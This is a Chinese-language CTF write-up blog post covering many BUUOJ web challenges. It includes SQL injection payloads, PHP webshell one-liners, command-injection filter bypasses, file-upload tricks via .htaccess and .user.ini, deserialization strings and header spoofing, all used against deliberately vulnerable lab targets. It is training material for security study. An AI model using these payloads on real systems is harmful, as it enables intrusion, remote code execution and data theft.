BUUOJ题解
2020-06-09 / 灬魔龙   

BUUOJ

[HCTF 2018]WarmUp

查看源码,发现提升,打开source.php页面



看到题目php代码

打开hint.php页面,发现提示。
回到source.php页面,函数代码中有四个if语句

第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false

有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?’前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?’两次编码值为’%253f’),构造url:

无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加../,最终在
中成功回显flag

[强网杯 2019]随便注


该题考查堆叠注入

输入1’提交页面不正常

输入1’ or 1=1 #,页面变为正常,说明存在注入。

输入1’ order by 3#,页面出现错误,说明只有两个字段

使用union select查询,发现很多语句被过滤。

使用堆叠注入1’;show databases; #列出数据库名。

接着使用1’;show tables;#查询出表

使用1’;show columns from words;#查出表words的字段

然后使用1';show columns from `1919810931114514`;#查出表1919810931114514的字段(如果表名为纯数字,则需要加上`),从而发现flag字段。

因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢

内部查询语句类似 : select id, data from word where id =

(这里从上面的对word列的查询可以看到它是有两列,id和data)

然后1919810931114514只有一个flag字段

这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字

这时候我们就可以已下面的骚姿势进行注入:

1.将words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列,列名为id

4.将flag列改名为data

构造payload

1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

然后使用1’ or 1=1 #查询获得flag.

第二种方法,参考[GYCTF2020]Blacklist
构造Payload:

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

获得flag。

[SUCTF 2019]EasySQL

同样是考察堆叠注入



输入1发现页面有回显,输入1-1数值改变,说明是数值型的注入。

依次查询数据库并查询出表,并发现Flag表

但发现from Flag被过滤所以不能直接读取flag

看了别人的题解知道本题的原理

解题思路1:

payload:

查询语句:

解题思路2:

payload:1;

解析:

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能。

[护网杯 2018]easy_tornado

本题考查ssti(服务端模板注入)

打开页面发现3个文件






依次打开三个txt文件得到提示,所以需要知道cookie_secret。

https://blog.csdn.net/qq78827534/article/details/80792514



只修改文件名不修改文件hash值,报错。

可以看到在报错的url中参数msg值为Error,然后界面就显示Error。

继续修改证实此处存在模板注入

在这里我们应该可以得到cookie_secret

然后照着hint解出文件得hash值

从而获得flag。

[极客大挑战 2019]EasySQL


尝试万能密码

获得flag.

[RoarCTF 2019]Easy Calc


查看源代码,发现提示所以需要绕过WAF。

查看calc.php页面,显示了waf的法则。

进行绕waf,首先了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。

num被限制了,那么’ num’呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符

构造payload来查看目录,用chr转化成ascll码进行绕过

发现 string(5) “f1agg”

查看flag。

[极客大挑战 2019]Havefun

查看源代码,发现提示

构造payload获得flag。

[HCTF 2018]admin

存在以下三种解法:

flask session 伪造
unicode欺骗
条件竞争


注册一个test用户,登录。

在修改密码的源码中发现提示。

下载文件

是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码


发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。

解法一 —— flask session 伪造

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码

https://github.com/noraj/flask-session-cookie-manager



用得到的cookie值替换掉index页面的cookie值,即可成功伪造session,”变成admin”,得到flag

法二 —— Unicode欺骗


这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞。

原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

我们发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为admin,从而改掉admin的密码。

然后用admin和改的密码的登录,即可获取flag。

解法三 —— 条件竞争
https://www.jianshu.com/p/f92311564ad0

[极客大挑战 2019]Secret File


查看源码发现提示


继续点击,发现什么也没有,根据提示抓包分析。

发现php页面,打开该页面

发现是文件包含漏洞。

但是打开flag.php并不能看到flag,所以flag应该是写在php代码里面

传入的文件进行了过滤,但没有过滤filter,所以可以用php://filter来获取文件。

获取到flag.php的base64编码,进行解码获得flag。

[SUCTF 2019]CheckIn

发现是文件上传漏洞,于是想到上传一句话木马。

上传一句话木马后发现<?被过滤了,所以不能使用<?php,所以使用其他的方法构造一句话木马,如script脚本

上传之后发现错误提示,所以需要绕过exif_imagetype。

所以在一句话木马前加上GIF89a再上传。

然后用蚁剑连接index.php页面,发现不能连接,所以是木马没有执行。

看了题解后发现这题还有一个知识点就是.user.ini
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html


于是创建一个.user.ini文件并将.user.ini和aaa.jpg文件上传

然后蚁剑连接获得flag。

[极客大挑战 2019]LoveSQL


尝试万能密码

登录成功,说明存在注入点



说明有3个字段。

在用户名方框里没有注入成功,在密码方框里注入成功

在密码框中使用
admin’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
列出表名

接着使用
admin’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=”l0ve1ysq1” #
列出字段

最后使用
admin’ union select 1,2,group_concat(password) from l0ve1ysq1 #

获得flag。

[极客大挑战 2019]PHP


根据提示,页面有备份文件

使用dirsearch扫描,发现备份文件www.zip


从class.php和index.php可知,该题是反序化漏洞。代码审计可知username应为admin,password应为100才能获得flag。

将代码反序化

public、protected与private在序列化时的区别和__wakeup()方法绕过参考:
https://www.cnblogs.com/wangtanzhi/p/12193930.html


构造payload获得flag,也可以参考上面的参考链接中

用python传值获得flag

[极客大挑战 2019]Knife

发现是一句话木马,直接用菜刀连接


然后获得flag。

[极客大挑战 2019]Http

查看源码,发现提示

想到抓包,直接改header头信息即可,我们可以通过使用Referer头来修改

修改之后提示说使用Syclover浏览,于是修改User-Agent

根据提示,需要修改X-Forwarded-For为127.0.0.1

从而获得flag。

[GKCTF2020]CheckIN

审计代码发现Ginkgo可以传参,于是想到可以传一句话木马,审计代码可知要把$this->code进行base64加密。

所以Ginkgo传入加密后的@eval($_POST[value]);

用蚁剑连接

直接利用github上的exploit:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

改为执行/readflag。

上传到服务器


构造payload:?Ginkgo=include(‘/tmp/exploit.php’);并将include(‘/tmp/exploit.php’);用base64加密,执行获得flag。

[GKCTF2020]cve版签到

由hint知识cve-2020-7066,ssrf漏洞
https://security-tracker.debian.org/tracker/CVE-2020-7066


点击View CTFHub发现什么也没有
根据漏洞可知存在\0截断。
https://blog.csdn.net/weixin_45485719/article/details/106432960?fps=1&locationNum=2


根据提示知应该改为127.0.0.123

从而获得flag。

[GKCTF2020]老八小超市儿


从图中可知是ShopXO漏洞
参考
http://www.nctry.com/1660.html

进入后台登录界面,用admin,shopxo登录后台

下载默认主题

将写好的一句话木马文件直接拖入压缩包中(注意:不能先解压然后将文件放进去再压缩,这样文件就会失效)

然后上传木马文件,用蚁剑连接
地址是:

在目录下看到

告诉我们flag在/root下,并且flaghint中的时间每隔一分钟会变化

根据auto.sh找到makeflaghint.py

发现有修改权限,且有root的执行权限,能每60秒刷新hint文件。

rb+ 读写打开一个二进制文件,只允许读写数据。
https://blog.csdn.net/guyue6670/article/details/6681037

于是修改代码能读取flag并写入flag.hint文件中

等待60秒查看获得flag。

[ACTF2020 新生赛]Include

本题是文件包含漏洞,使用php://filter伪协议来进行包含。

获得一段base64编码。

base64解密后获得flag。

[GXYCTF2019]Ping Ping Ping


和之前做过的一个题类似,直接构造payload:
?ip=127.0.0.1|ls
发现flag文件。 |直接执行后面的语句。

直接cat flag.php发现题目过滤了空格,所以用${IFS}$绕过空格。

使用${IFS}$发现过滤了{符号,所以使用$IFS$1过滤。

使用$IFS$1发现题目又过滤了flag。

查看该题源码即可知道本次过滤了哪些东西。

方法一:

参考大佬的wp,构造payload:cat$IFS$1ls,查看源码获得flag。
该方法名叫内联执行。方法:将反引号内命令的输出作为输入执行。

方法二:

Y2F0IGZsYWcucGhw是cat flag.php的base64编码。

方法三:

采用拼接的方法。
参考:https://www.ghtwf01.cn/index.php/archives/273/

[ACTF2020 新生赛]Exec


打开发现和上一题一样,于是构造一样的payload发现该目录下没有flag。

查看上一级目录也没有发现flag。

所以猜测flag在根目录下,查询后发现果然有flag。

从而获得flag。

[极客大挑战 2019]BabySQL


经过测试发现本题需要使用双写进行绕过,并且from,union,select这些函数都被替换为空。例如用uniunionon,检测时其中的union替换为空,所以变成了union,因此能绕过检测。

使用联合注入进行注入。

查询数据库名。

查表名。

查列名。

查字段。

[极客大挑战 2019]Upload


尝试上传带有一句话木马的jpg文件发现题目过滤了<?。

修改木马为:
显示文件不是图片,所以加上GIF89a绕过图片检测。

成功上传文件

然后抓包修改文件后缀名为php发现被检测到了。

某些情况下绕过后缀名检测:

php,php3,php4,php5,phtml,pht


逐个测试,最后发现使用phtml可以绕过检测,从而成功上传木马。

连接蚁剑后在根目录下找到flag。

[ACTF2020 新生赛]BackupFile

从题目可知该题是要查找备份文件,尝试.bak发现备份文件。

审计代码可知输入的key只能为数字而且key要和str相等才能获得flag.

本题考查PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字。
所以只需要key等于123即可获得flag。

[ACTF2020 新生赛]Upload


上传文件的题,于是上传带有一句话木马的jpg文件然后抓包修改后缀为.php发现被检测出来了,尝试之前的利用phtml绕过。

成功上传文件。

蚁剑连接后在根目录成功获得flag。

[极客大挑战 2019]BuyFlag

查看源码发现pay.php页面。

查看pay.php页面的源码发现如上代码。

抓包分析发现需要cuit’s学生才能购买,而且user=0,所以想到这里的user是判断是不是cuit’s学生,修改user=1后证明猜想。
下一步便是如让password=404,但是password不能是数字。

这里考查php中的is_numeric()漏洞

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!


password正确后便是输入money,但是money的值显示长度太长。

strcmp漏洞

注:这一个漏洞适用与5.3之前版本的php

这个函数是用于比较字符串的函数

int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 。

所以采用数组绕过money获得flag。

[ZJCTF 2019]NiZhuanSiWei


打开题目即可看到源码。

第一个需要绕过的点:

if(isset($text)&&(file_get_contents($text,’r’)===”welcome to the zjctf”))

需要我们传入一个文件并且文件内容为welcome to the zjctf。
本题没有符合该内容的文件,所以使用data伪协议。

构造?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=绕过第一个检测。

第二个需要绕过的点:

本题不能直接读取flag,所以需要先读取useless.php的内容,针对php文件需要进行base64编码,不然不能读到内容。

构造?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php读取到useless.php的内容。

第三个需要绕过的点:



所以构造password能够读到flag.php的内容。
最后的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
查看源码获得flag。

参考:
https://www.cnblogs.com/wangtanzhi/p/12184759.html

[BJDCTF2020]Easy MD5


在网络中的响应头中发现本题的提示

select * from ‘admin’ where password=md5($pass,true)
查看wp后知道本关使用ffifdyop来绕过,这个字符串md5加密后是276f722736c95d99e921722cf9ed621c,经过hex解密后是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c。拼接后形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’构成万能密码,从而绕过md5函数。

输入ffifdyop后页面发生变化。

在源码中发现以上内容。

md5 bypass

md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果$a和$b都是数组则双双返回FALSE, 两个FALSE相等得以绕过。

这里也可以找出md5都是0e开头的,0e开头的md5的结果为0.

QNKCDZO,
s155964671a,
s1091221200a等都是0e开头的。

页面再次跳转后获得一段代码。
这里使用数组绕过,原理是md5不能处理数组,导致函数返回null。
从而获得flag。

[网鼎杯 2018]Fakebook

一开始以为是报错注入,最后得到的data发现是自己的注册信息,于是百度了一下,发现这题是有robots.txt文件。

发现题目有备份文件,下载之后打开

得到题目的代码。
对代码进行审计,发现本题考查的是ssrf。


经报错注入查看data中的数据发现本题应该要利用反序列化的知识。


最终的payload如图所示,列名依次为no,username,passwd,data,所以data的值在四号位传入。

最后在源码中获得flag。

[CISCN2019 华北赛区 Day2 Web1]Hack World

发现只有输入1和2还有1/1等才不会错误,尝试许多注入的方式发现都会被检测出来,百度之后发现本题需要用二分法来跑。
在网上找了很多代码,才找到一个能正确跑出flag的脚本:


成功跑出flag。
但是测试发现该flag少一个数,最终flag:
flag{88beaa12-81a3-4445-bcee-8e89cf1d356c}

参考:https://blog.csdn.net/weixin_43900387/article/details/104838055

[强网杯 2019]高明的黑客

打开后便提示了网页备份文件。

解压后发现居然有3002个文件,并且每个文件内容很多,而且还有很多shell,但不是每个shell都能使用。


百度一下,使用了一下大佬的脚本。

经过一段时间把可以利用shell的php文件跑出来了。

于是构造payload:

http://c572dc92-c543-4f1c-a48d-459dc705a5b3.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat /flag 获得flag。

参考:
https://www.freesion.com/article/9565243932/

[极客大挑战 2019]HardSQL


经过测试发现本题要使用报错注入的方式进行注入。而且本题过滤了空格,and还有=号,但or可以使用,而且用括号可以绕过空格,用like可以绕过=号。
构造payload:username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
查到数据库。

username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23&password=123
获得表名H4rDsq1。

username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23&password=123
获得列名。

username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
获得flag。这样只能得到flag的左半段,在password前面加上right获得flag右半段。

[BJDCTF 2nd]fake google


随便输入一个数字后,打开源码发现题目有提示,根据提示可知本题应该是ssti模板注入。
尝试4输出的结果是4,证明确实是模板注入。
参考别人的wp,找到了一条可以执行的payload:

执行命令ls找到flag在根目录下,执行cat /flag获得flag。

参考:https://blog.csdn.net/ChenZIDu/article/details/105159197

https://www.cnblogs.com/20175211lyz/p/11425368.html

[GXYCTF2019]BabySQli


打开题目查看源码,发现一段base32编码,解密后得到base64编码:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==再解码得到一段提示信息:select * from user where username = ‘$name’。说明username处存在注入点。

抓包进行分析,本题将or过滤了,但是可以用大写绕过,测试后发现有3个字段。
百度了下,知道了一点联合注入的知识点,当联合查询不存在数据时,联合查询就会构造一个虚拟的数据。还知道本题密码是用md5加密的。
经过测试,发现二号位是username,三号位是password。
‘构造一个虚假的身份从而获得flag。

[网鼎杯 2020 青龙组]AreUSerialz



审计代码可知,传入的str中的每一个字符串的ASCII范围在32到125之间,才会对其反序列化。
这里的file_put_contents()函数,将$this->content写入$this->filename中。

在反序列化过程中,调用了__destruct析构的方法,其中op===”2”是强比较,需要进行类型的比较。

在process方法中op与字符的比较为弱类型比较,所以让op=2,则op===”2”为false,op==”2”为true。

read方法中,使用了file_get_contents函数读取文件,可以使用php://filter伪协议读取flag文件。读取的flag用output函数输出。

由于$op,$filename和$content三个变量都是protected,在序列化有%00,ASCII是0,不能通过is_valid函数的检测。

php7.1+版本对属性类型不敏感。所以可以直接改为public进行绕过。

构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
成功获得flag。

参考:https://www.cnblogs.com/Cl0ud/p/12874458.html

[RoarCTF 2019]Easy Java


点击help,弹出一条错误信息,应该是有help.docx这个文件。

下载的文件用编辑打开发现是pk开头的,所以是压缩包文件,解压后得到一堆文件,发现并没什么用。
百度后知道了这题考查的知识点:

POST传入filename=WEB-INF/web.xml下载web.xml文件。

看到com.wm.ctf.FlagController。
根据tomcat的项目存放路径推测出FlagController.class的位置。
构造payload:filename=WEB-INF/classes/com/wm/ctf/FlagController.class
下载FlagController.class文件。

打开看到一串base64编码,解密后就是flag。

参考:https://www.cnblogs.com/wangtanzhi/p/12173215.html

[BUUCTF 2018]Online Tool


mkdir之前的@意思是压制错误提示,使其无错误提示。

chdir()函数改变当前的目录。

escapeshellarg和escapeshellcmd参考:https://paper.seebug.org/164/

最后一句system可以传参数,所以肯定是利用这里构造payload。

在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。
所以构造payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

配置蚁剑,连接之后在根目录找到flag。

参考:https://blog.csdn.net/qq_26406447/article/details/100711933

[GYCTF2020]Blacklist


发现本题和之前的[强网杯 2019]随便注类似,但是看了下过滤,发现alter和rename都被过滤了。
百度了下,发现本题可以用一个新的方法。

参考:https://dev.mysql.com/doc/refman/8.0/en/handler.html

所以构造payload:
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
获得flag。

[BJDCTF 2nd]old-hack

本题知识点:thinkphp 5.0.23 RCE漏洞

构造?s=123即可在报错信息中看到thinkphp的版本号。

参考:https://xz.aliyun.com/t/3845

构造payload查看根目录发现flag。
使用cat /flag命令获得flag。

[De1CTF 2019]SSRF Me

打开题目发现一堆代码,而且还很乱,需要整理一下。



os.urandom:随即产生n个字节的字符串

os.path.exists(path): 如果路径 path 存在,返回 True;如果路径 path 不存在,返回 False。

@app.route(‘/‘):Flask路由(根目录路由器)

urllib.unquote:将字符串中的url编码解码。

json.dumps:Python 对象编码成 JSON 字符串

urllib.urlopen:创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。

hashlib.md5().hexdigest():hashlib.md5()#获取一个md5加密算法对象,hexdigest()是获得加密好的16进制字符串。

向/De1ta路由提交参数后,会执行challenge函数,绕过waf检测后会创建Task类执行Exec函数。

所以需要通过checkSign函数的检测即通过getSign函数的检测。
只有向/geneSign路由提交参数后才能返回getSign获得正确的sign值从而绕过getSign的检测。

构造payload:geneSign?param=flag.txtread获得sign值bbf07a512ad05225d0744b68e2830cb0。

构造payload:De1ta?param=flag.txt并且传入cookie:action值为readscan,sign值为bbf07a512ad05225d0744b68e2830cb0。从而获得flag。action包含”scan”则会修改code的值为,action包含”read”并且code为200时才会写入flag。

参考:https://blog.csdn.net/weixin_43900387/article/details/105278192

[GXYCTF2019]禁止套娃

本题考查的是无参数RCE。eval($_GET[‘exp’]);

1.利用超全局变量进行bypass,进行RCE

2.进行任意文件读取

本题另外一个知识点是.git源码泄露,利用GitHack进行扫描。

发现index.php文件。

发现是本题的源码index.php。

审计代码可知本题过滤了一些比较常用的伪协议,所以不能直接读取文件了。


正则匹配[a-z,_]+((?R)?),所以只允许a(b(c())),a()等这样的形式,所以就不能传参。

首先得想办法爆出文件的目录下的文件,利用scandir()函数可以扫描当前目录下的文件,所以会想构造print_r(scandir(‘.’)),而本题不能传参。

所以有另外一个函数localeconv(),localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组的话就要用到current() 函数,post()是current()的别名。


这样就爆出了当前的目录。所以我们要得到倒数第二个数组的内容。
所以可以利用array_reverse()函数,以相反的元素顺序返回数组。
顺序颠倒后flag.php在第二个数组中,所以构造payload:
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));但是这样只能打印变量,而不能读flag.php的源码,而且file_get_contents()中的et被过滤了,但是可以使用readfile(),highlight_file()获得show_resource()函数读取flag。其他方法参考下面的博客。

参考:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
https://www.cnblogs.com/wangtanzhi/p/12260986.html

[MRCTF2020]你传你🐎呢

打开题目是上传文件,尝试上传一句话木马的jpg文件上传成功,修改文件后缀为php被检测出来了,尝试php3,php4,php5,phtml,pht绕过检测发现都不可以,说明本题只能上传图片。

所以想到上传.htaccess,让.htaccess解析图片为php文件运行木马。

可以在.htaccess 加入php解析规则

类似于把文件名包含1的解析成php

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>


不是图片不能上传,修改Content-Type为image/jpeg上传成功。

上传带木马的图片文件。

在根目录下获得flag。

[安洵杯 2019]easy_web


打开源码,发现题目给的提示md5,并且源码中img中的内容是图片的base64编码。

感觉img中那段编码是base64编码。

经过两次base64解码和一次hex解码后得到img的名字为555.png,所以可以尝试利用类似的方法读取文件。



尝试读取flag.php,应该是被过滤了所以不能查看。

尝试读取index.php文件获得题目源码。执行后在img中得到index.php文件的base64编码。

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    echo `$cmd`;
} else {
    echo ("md5 is funny ~");
    }
}

?>

解码后获得本题源码。

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}

经过这一层的判断,才会运行cmd命令。反引号符号包围是执行shell命令。
md5进行强比较时是可以通过数组绕过的,但是这里将数据进行了强制转换,所以用数组前半部分就不能通过判断。

参考:https://xz.aliyun.com/t/2232
利用MD5碰撞生成器构建两个MD5一样,但是内容完全不一样的字符串。

上传之后从而绕过检测执行命令,即可看到根目录下有flag,但是cat被过滤了,所以使用ca\t%20flag获得flag。

[MRCTF2020]Ez_bypass

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
               $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                if($passwd==1234567)
                {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                    die('By Retr_0');
                }
                else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

            }
            else{
                die('only one way to get the flag');
        }
}
        else {
        echo "You are not a real hacker!";
        }
}
else{
    die('Please input first');
}

根据提示,直接F12得到源码。

审计代码可知,第一步需要绕过md5,这里不像上一题会转换类型,所以可以直接使用数组绕过,md5()无法操作数组,会返回null。
第二步便是要绕过passwd的检测,is_numeric可以使用1234567;绕过,由于$passwd==1234567是若比较,所以在比较时会把passwd转成数字进行比较,所以就能绕过检测,获得flag。

[BJDCTF2020]Mark loves cat


使用dirsearch扫出/.git目录,所以使用GitHack获得本题git泄露的源码。

<?php

$flag = file_get_contents('/flag');

flag.php的代码。

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

index.php文件中的代码。
审计代码可知,我们最终应该要让运行exit($flag)从而获得flag。
这里我们可以利用$yds,通过构造从而获得flag。

可以直接get传参?yds=flag

foreach($_GET as $x => $y){
$$x = $$y;
}

变成了$yds=$flag

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

get的是yds所以可以绕过执行exit($flag)。

[GXYCTF2019]BabyUpload


尝试上传带有一句话木马的jpg文件,被检测到了,估计是过滤了<?php,所以想到使用script代替。

<script language="php"> eval($_POST['hack']) </script>

抓包修改后缀为php,被检测到显示后缀不能有ph,所以使用php3等这样的绕过都不行了,于是想到上传.htaccess。

直接上传不能上传,所以抓包修改文件类型为image/jpeg上传成功,然后上传带木马的jpg文件,用蚁剑连接。

根目录下找到flag。

[GWCTF 2019]我有一个数据库

通过dirsearch发现存在robots.txt文件和phpinfo.php,而且还有phpmyadmin。打开robots.txt就是提示有phpinfo.php。

打开phpmyadmin界面,直接就进去了。

看到个phpMyAdmin的版本,所以百度一下这个版本的漏洞。
参考:
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF/jxV/9/cEb5pShRgewJe/ttJn2gIlIyGF/bsgGmzcbsV%2bLmMK#rd
https://www.jianshu.com/p/fb9c2ae16d09

构造payload:

index.php?target=db_datadict.php%253f/../../../../../../../../flag

即可获得flag。

[BJDCTF 2nd]假猪套天下第一

进去发现是一个登录界面,使用admin登录会提示不是admin,除了admin以外的账号都能登录,登录进去也没看到什么,于是在登录时抓包分析。

发现题目的提示。

进去刷新一下页面就变成这样了,于是抓包分析。

看到有时间,修改时间为很大的值,显示要来自localhost才行。

发现X-Forwarded-For被检测到了,百度一下知道了另一个方法。

使用Client-ip。提示要来自gem-love.com。

用Referer绕过。接着提示需要Commodo 64浏览器。但是直接修改User-Agent为Commodo 64。现在不对,查了一下全称是Commodore 64。

需要我们的邮箱是:root@gem-love.com

使用From。发现又需要代理服务地址是y1ng.vip。

使用via。从而获得flag。

[0CTF 2016]piapiapia

尝试注入,发现并不行,所以觉得应该不是SQL注入,利用dirsearch扫描。

发现页面备份文件www.zip。

下载后即可看到题目的源码。

update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');

        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

